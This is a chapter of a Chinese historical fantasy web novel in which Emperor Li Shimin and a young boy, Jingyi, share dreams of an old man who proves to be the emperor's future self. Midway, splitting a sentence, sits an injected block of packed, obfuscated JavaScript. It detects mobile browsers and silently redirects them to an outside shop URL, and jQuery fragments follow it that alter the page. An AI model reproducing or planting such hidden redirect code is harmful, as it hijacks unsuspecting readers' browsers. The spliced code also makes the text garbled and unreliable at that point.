景颐又梦见那个老人了。


    一开始只是雾，浓稠的、灰白色的雾，像流云境晨起时漫过石阶的云海，只是没有云海的清透，沉沉地压着，让人胸口发闷。


    他站在雾里，不知道该往哪儿走。


    然后雾薄了些，他看见一扇窗。


    窗是支开的，糊着细密的碧纱，烛光从里面透出来，昏黄而温柔。窗下是一张堆满卷帙的案几，有人伏在案边，肩背微驼，执笔的手悬了太久，指节有些僵硬。


    景颐往前走了两步。脚下没有声音，像踩在云上。


    那人忽然停了笔。


    他抬起头，转过脸来。


    是一张苍老的、疲惫的、却依旧威严的脸。眼窝深陷，颧骨凸起，嘴角有两道深深的法令纹。那双眼睛浑浊如蒙尘的琉璃，却仍亮着一点不肯熄灭的光。


    他看见了景颐。


    景颐想跑。他不知道为什么想跑，只是那双眼睛望过来时，他忽然觉得害怕。


    老人的嘴唇翕动，声音嘶哑而轻，像风穿过枯叶。


    “你是谁家的小儿？”


    景颐猛地睁开眼。


    帐顶的承尘在晨光里泛着柔和的青灰色。凝云轩的窗棂透进淡金色的光，鸟在檐外叫，隔壁传来李治咿咿呀呀念书的声音。


    是长安，是凝云轩，是安全的。


    景颐慢慢坐起来，低头摸了摸枕边那颗鹰纹念珠，珠子是凉的。


    他攥着念珠坐了很久。


    “景颐。”


    门帘掀动，进来的却不是长琴。丽质站在门口，手里端着一碟枣泥酥，见他怔怔地坐在榻上，脚步顿了顿。


    “先生今早出远门了。”她轻声道，“娘娘让我来瞧瞧你。”


    景颐眨眨眼，这才想起师父昨日说，要去东海办一件要紧的事，来回须得月余。


    师父不在长安了。


    他低头看看自己手里的念珠，又抬头看看丽质关切的眼神，忽然鼻子一酸。


    “阿姊，”他小声说，“李叔叔今天忙不忙？”


    李世民正在甘露殿召见房玄龄。


    河西诸州春耕在即，需调拨粮种，户部与司农寺各执一词，吵了两日仍无定论。房玄龄捧着一沓账簿，正逐条细陈利弊，李世民凝神听着，手指在膝上轻轻叩击。


    殿外忽然传来低低的说话声。


    李世民抬眼。内侍躬身进来，神色有些为难：“陛下，景颐小郎君来了，说、说想见陛下。”


    房玄龄识趣地合上账簿：“臣先告退。”


    “房公不必。”李世民摆了摆手，对内侍道，“让他进来。”


    门帘掀开，探进来一颗毛茸茸的脑袋。


    景颐今日穿着家常的豆青小袄，头发梳得齐整，两只小髻用青缎带系着。只是那双眼睛红了一圈，像只被雨淋过的雀儿。


    他站在殿门口，没有像往常那样哒哒哒跑进来。


    “景颐？”李世民放柔了声音，“过来。”


    景颐慢慢挪过去，在他脚边站定，仰着小脸看了他一会儿。


    然后忽然张开胳膊，一头扎进他膝上。


    李世民怔了怔。这孩子不是没撒过娇，要他抱上马时，讨糖吃时，犯了错往他身后躲时。可从来没有这样，什么都不说，只是把脸埋在他膝间，小小一团缩着，像只受了惊、拼命往窝里钻的幼兽。


    他抬手，轻轻落在景颐的后脑上。


    “梦见什么了？”


    膝间传来闷闷的声音：“一个老爷爷。”


    “嗯。”


    “他每次都问我‘你是谁家的小儿’。”景颐把脸埋得更深，“我、我不知道怎么答。”


    李世民抚着他发顶的手没有停。


    “他凶你吗？”


    “不凶。”景颐摇头，“就是……就是一直看着我。”


    他顿了顿，声音更小了：“他的眼睛很难过，我看不懂。”


    殿中静了片刻。房玄龄不知何时已悄然退下，只剩一大一小与一殿春昼的日光。


    李世民垂眸看着膝上这团小小的、温热的重量。


    他想起长琴临行前的话：“陛下若梦见什么异象，不必惊惶，那是景颐的溯梦与陛下气运共鸣。”


    共鸣，什么是共鸣？


    他不知道。他只是忽然很想问一问这个孩子。


    你梦里那个老人，长什么模样？


    可他没有问，他只是继续抚着景颐的发顶，一下，又一下，像在抚平一只小兽炸起的绒毛。


    “下次再梦见，”李世民的声音亲和沉稳，“你就告诉他，你是我家的孩子。”


    景颐从他膝间抬起脸，红红的眼睛眨了眨。


    “叔叔家的？”


    “嗯。”李世民点了点他鼻尖，“我家的。”


    景颐把这两个字含在嘴里嚼了嚼，皱起的小眉头慢慢松开了。


    他打了个哈欠，靠在李叔叔膝边，没一会儿竟睡着了。


    李世民没有动，他就着这个姿势，继续批阅案上的奏折。朱笔悬停时，偶尔垂眸看一眼膝边那张酣睡的小脸。


    窗外日光正好，惊蛰未至，春意已悄悄爬上殿角的柳枝。


    是夜，甘露殿。


    李世民今夜没有梦见战场，没有梦见突厥，没有梦见那些他杀过的人、胜过的人、还在等他的敌人。


    他梦见一扇窗。


    碧纱窗，支着半扇，烛光透出来，昏黄而温柔。窗下是一张堆满卷帙的案几，他伏在案边，手握着笔，指节酸痛，肩背僵硬。


    他在批奏折。


    字是熟悉的，那是他写了二十多年的字，只是比记忆中的更颤、更涩。


    他批完一本，放下笔，抬起头。


    对面站着一个孩子。


    豆青小袄，双丫小髻，深褐色的眼眸瞪得圆圆的，像只在林间猝然撞见猎人的小鹿。


    他张了张嘴，听见自己的声音苍老、嘶哑、陌生。


    “你是谁家的小儿？”


    孩子没有答，他只是怔怔地望着他，那双澄澈的眼眸里，倒映着烛火，倒映着窗棂，倒映着，


    一个衰老的、疲惫的、眼窝深陷的自己。


    李世民猛然惊醒。


    甘露殿夜深，残烛将尽。他独坐在御榻上，心跳如擂鼓，后背的寝衣已被冷汗浸透。


    方才那梦中人的脸，那张苍老的、陌生的脸，


    是他自己。


    不，是二十年后的自己。


    那眉眼，那轮廓，那连他自己都几乎遗忘的、少年时从铜镜里见过的倔强神情。只是老了，疲惫了，被岁月磨去了所有锋棱，只剩一双不肯熄灭的眼睛。


    而那双眼睛里，倒映着景颐。


    李世民在黑暗中坐了许久。


    他没有召人，没有点灯，没有做任何事。他只是坐着，任那颗心跳慢慢平复，任窗外的更声一更一更过去。


    他想，那是景颐的溯梦，他梦见我，我便也梦见了他。


    如此而已。


    没有什么需要深究的。


    他把这句话在心里重复了三遍，起身披衣，唤内侍添烛。


    案上还有三州春耕的折子未批。


    景颐醒来时，枕边那颗念珠又热了。


    他伸手摸了摸，烫烫的，像被梦里的烛火烤了一夜。


    李治正在窗外背书，稚嫩的声音穿过窗纸，念的是《诗经》里的句子：“昔我往矣，杨柳依依……”


    景颐抱着被子坐了一会儿，忽然爬下榻，哒哒哒跑出凝云轩。


    甘露殿外，内侍见了他，笑着躬身：“小郎君又来找陛下？”


    “嗯！”景颐仰着脸，“李叔叔有空吗？”


    内侍进去通传，片刻后掀帘：“陛下请小公子进去。”


    李世民正在用早膳。小米粥，两碟小菜，一屉蒸饼。他抬眼看向门口，那孩子今日没有红眼眶，只是站在门边，认真地看着他。


    “李叔叔，”景颐说，“我昨晚又梦见那个老爷爷了。”


    “嗯。”


    “他这次没有问我话。”景颐走过来，趴在他案边，下巴搁在手背上，“他只是一直看着我。”


    李世民放下筷子。


    “他看你的眼神，”李世民的声音很轻，“可怕吗？”


    景颐想了想，摇头。


    “不是可怕。”他慢慢地说，“就像……就像叔叔看雉奴那种。”


    他顿了顿，似乎自己也觉得这个比方打得奇怪，有点不好意思，把半张脸埋进手臂里。


    李世民没有说话。


    窗外，二月的风拂过殿角的柳枝，那些细嫩的鹅黄芽苞正在轻轻摇晃。


    “我昨夜也梦见一个人。”李世民忽然开口。


    景颐抬起脸，眨眨眼。


    “是个老人。”李世民说，“他很累，批了一夜的奏折，手都在抖。”


    “他看见叔叔了吗？”景颐问。


    李世民沉默片刻。


    “看见了。”他说，“他用我的眼睛，看见了我。”


    景


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186655|195893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    颐没有听懂。


    他只知道，李叔叔说这话的时候，语气和平时不太一样。不是难过，也不是生气，是一种他说不上来的、让人想靠得近一点的声音。


    他于是又往前凑了凑，把小手覆在李世民搁在案边的手背上。


    “李叔叔，”他说，“你累不累？”


    李世民低头看着那只小小的、温热的、覆在自己指节上的手。


    六岁的孩子，手背还有圆圆的肉窝，指头短短的，连他半个手掌都盖不住。


    “不累。”他说。


    景颐点点头，好像很满意这个答案。


    他收回手，从碟子里摸了一个蒸饼，咬了一口，含糊道：“师父不在，我以后天天来找李叔叔说话。”


    李世民看着他，唇角微微扬起。


    “……好。”


    此后景颐果然天天来。


    有时是早上，趴在案边看他批折子，看一会儿就开始打哈欠，脑袋一点一点，最后枕着自己的手臂睡着。李世民便让内侍取来薄毯，盖在他身上。


    有时是午后，带着李治和丽质一起来，殿中便热闹起来。李泰闻风而至，嚷嚷着“阿耶我也要听政”，被李世民一句“你把《汉书》读完了吗”堵了回去，蔫蔫地缩在角落里翻书。


    有时是傍晚，景颐一个人来，也不说话，就坐在窗边，托着腮看殿外那棵柳树。


    “看什么？”李世民问。


    “看它发芽。”景颐认真道，“昨天才三颗，今天有五颗了。”


    李世民走到窗边，顺着他的目光望去。


    那棵柳树确实在发芽。细嫩的、鹅黄的、米粒大小的芽苞，缀在深褐色的枝条上，在暮光里泛着柔润的光泽。


    他看了很久。


    “景颐，”他忽然问，“你梦里那个老人，还在看你吗？”


    “在。”景颐说，“每天都看。”


    “你怕他吗？”


    景颐想了想，摇头。


    “他都不说话，只是看。”他顿了顿，“看久了，就不怕了。”


    李世民没有说话。


    他想，二十年后的自己，坐在那扇碧纱窗下，批着一本又一本永远批不完的奏折，手腕酸痛，眼目昏花。


    他看见一个六岁的孩子站在烛光里，深褐色的眼眸澄澈如泉。


    他问：“你是谁家的小儿？”


    那孩子没有答。


    但他知道答案。


    ——那是我家的孩子。


    二月的风从窗口吹进来，带着渭水化冻的湿润、终南山初融的雪意、还有长安城一百零八坊袅袅升起的炊烟。


    李世民负手立在窗前，听着身后孩子们叽叽喳喳的吵闹声，忽然觉得，二十年好像也没那么远。


    长琴走后的第二十三天，景颐又做梦了。


    梦里还是那扇碧纱窗，还是那张堆满卷帙的案几，还是那个白发苍苍的老人。


    只是这一次，老人没有批奏折。


    他靠在凭几上，闭着眼睛，脸微微侧向窗口的方向。窗外似乎有光，照在他布满细纹的脸上，把那些沟壑照得格外分明。


    景颐站在原处，没有动。


    过了很久，老人睁开眼睛。


    他看向景颐。


    那双曾经浑浊如蒙尘琉璃的眼睛，此刻澄明得惊人。而他依然老，依然疲惫，依然被岁月压弯了脊背。


    但那双眼里的光，像夏夜最亮的那颗星。


    老人没有问“你是谁家的小儿”。


    他只是看着景颐，很慢、很慢地，弯起嘴角。


    景颐醒来时，枕边湿了一小片。


    他不记得自己哭了，他摸摸脸颊，干干的，可枕巾分明是潮的。


    那颗鹰纹念珠静静躺在他掌心，温温的，不再烫手。


    窗外，二月最后一天的长安，落了今春第一场细雨。


    李世民在甘露殿批完最后一本折子，搁笔时听见檐外淅沥的雨声。


    他抬起头，望向窗外。


    那棵柳树的芽苞已经长成细嫩的叶片，在雨中轻轻摇曳，翠绿如洗。


    他没有梦见那个老人。


    但他知道，老人还在那里。


    在二十年后的那扇碧纱窗下，批着永远批不完的奏折，看着永远看不完的长安春天。


    看着他亲手种下的柳树，一年年发芽，一年年抽枝，一年年亭亭如盖。


    看着他家那个六岁的小儿，在烛光里仰着脸，深褐色的眼眸澄澈如泉。


    看着他。